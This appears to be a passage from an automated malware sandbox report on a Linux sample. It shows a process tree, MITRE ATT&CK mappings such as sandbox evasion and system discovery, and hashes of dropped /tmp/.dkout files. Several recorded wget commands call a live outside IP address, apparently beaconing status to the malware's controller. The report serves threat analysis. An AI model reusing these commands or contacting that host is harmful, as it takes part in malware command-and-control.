- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:1161
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:1160
- /usr/bin/wget
  wget -q -T 3 -O /dev/null "http://164.68.109.244/dk/77/PID=686"
  2⤵
  PID:1162
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:1166
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:1167
- /usr/bin/wget
  wget -q -T 3 -O /dev/null http://164.68.109.244/dk/78/DEAD3
  2⤵
  PID:1168
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:1172
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:1173
- /usr/bin/wget
  wget -q -T 3 -O /dev/null http://164.68.109.244/dk/79/DEAD11
  2⤵
  PID:1174
- /usr/bin/tr
  tr " /" ._
  2⤵
  PID:1177
- /usr/bin/cut
  cut -c1-100
  2⤵
  PID:1178
- /usr/bin/wget
  wget -q -T 3 -O /dev/null http://164.68.109.244/dk/80/CACHE
  2⤵
  PID:1179
- /usr/bin/wget
  wget -q -T 5 -O /dev/null http://164.68.109.244/dk-done-80
  2⤵
  PID:1180

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

.dkout

Path /tmp/.dkout
Size 42B
SHA256 ec24b92f3d74f288609cc24d1e26d5f29c74b5a223532dfffac119069ecd70e3
MD5 28dd04561885c9f7fe7580d45dcf7b13
SHA1 0cba3f351224777e9cab67941a75afb16267f8d5
SHA512 8a9f502d2b65157b99369af989e9ae8877ca33433a82f86352edbfb185d136c378c15d0354c4a24e31431c8ce368ab785e419318cde7a586663597e2f69e44d5
MD5 SHA1 SHA512

Submit Download

.dkout

Path /tmp/.dkout
Size 88B
SHA256 be16eaaf8b25fdc99ecd63890b7dc3d00861e0b750c5048c7d6f11f21e271561
MD5 710f85c3355096fdf646a61f8cacad71
SHA1 fdc5092026ee82c0c5306f3dc7569253a17bfa9d
SHA512 9834a94f0affc6bfa5f6cfc48220be48c47b35f80a4f68aa59518e5d3179b5e7edf155d1987105589c66bb83668b2e6006bb5e195eb129abf9ea9727f094c114
TLSH
T17AB012903FA070C39143C4F4E0F401C3407394105320BE5147CE8243181120D3351940
MD5 SHA1 SHA512 TLSH

Submit Download

.dkout

Path /tmp/.dkout
Size 782B
SHA256 d60b7c19b69dc935db18f37290dd9f5540fb5cd6d0532f7f27e843ef106571cc
MD5 6b669064cbebdb83dc0b984c2c4e88b5
SHA1 4e458f4691081580cb349d09496b4e724ca0ba79
SHA512 79018e67a9d1929c328cb8db88c61d015d8de7dc69f9e9b4efc7d1d0f4b941acd3afb88d29e56fe740bb3d5a8994cae8de275356c8397983a1be9fcb16168c1a
TLSH
T1A3012855EE4853FBD1E5CEA7C11026818562B02B07EA76FCC7C9C2A88285143AB1B4BE
MD5 SHA1 SHA512 TLSH

Submit Download

.dkout

Path /tmp/.dkout
Size 785B
SHA256 a78a1a060861bc3b5a62ec677f65ab7235358ff89b64b4edb6999d651088b40a
MD5 232b4a249a24f60ac4ede4e7e3c88226
SHA1 5d705ed03c5cbdcc9c50926d6b43184ca8aadc85
SHA512 574cc47c37e22f9b3e8aa8cf5a11bd92cc881e9f7807074876c4617eb10d8870efcda939d5bf7a4ec3900136d8c3eefc7a4df76fa02812591a85ee5509f6225d
TLSH
T12D012855EE4857FBD1E5CEA7C11026818562B02B07EA76FCC7C9C2A88285147AB1B4BE
MD5 SHA1 SHA512 TLSH

Submit Download

.dkout

Path /tmp/.dkout
Size 4KB
SHA256 c22db23c02fbf9ec38dc61bafa7d8695efa3a4655c49c433fdcefff99fb100da
MD5 46bff490aa902b1a759834632c9ac098
SHA1 4554449df41ba7eec16ab678d1d213125ba64438
SHA512 0150a1cd44bfb6b3223d49dadaca50a5d5db41c61fbf6f8ebf7b134d1691d69d622e0ee70e8eefa9a444cdce770ba0ce8d53adc55339a156f963d828a5ee9527
SSDEEP 48:1HeenzUnbx9wI1Q0d4dMqG/lr3GrDuOd4p059+yj+2GX37U0P8iczkMEzaGusbUZ:1yjlOwu5S0Y8i1IFi0
TLSH
T148819212CE34967AEA64DA81A22033423C16F78749E535EC75CE43E4A37F582BF95137
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads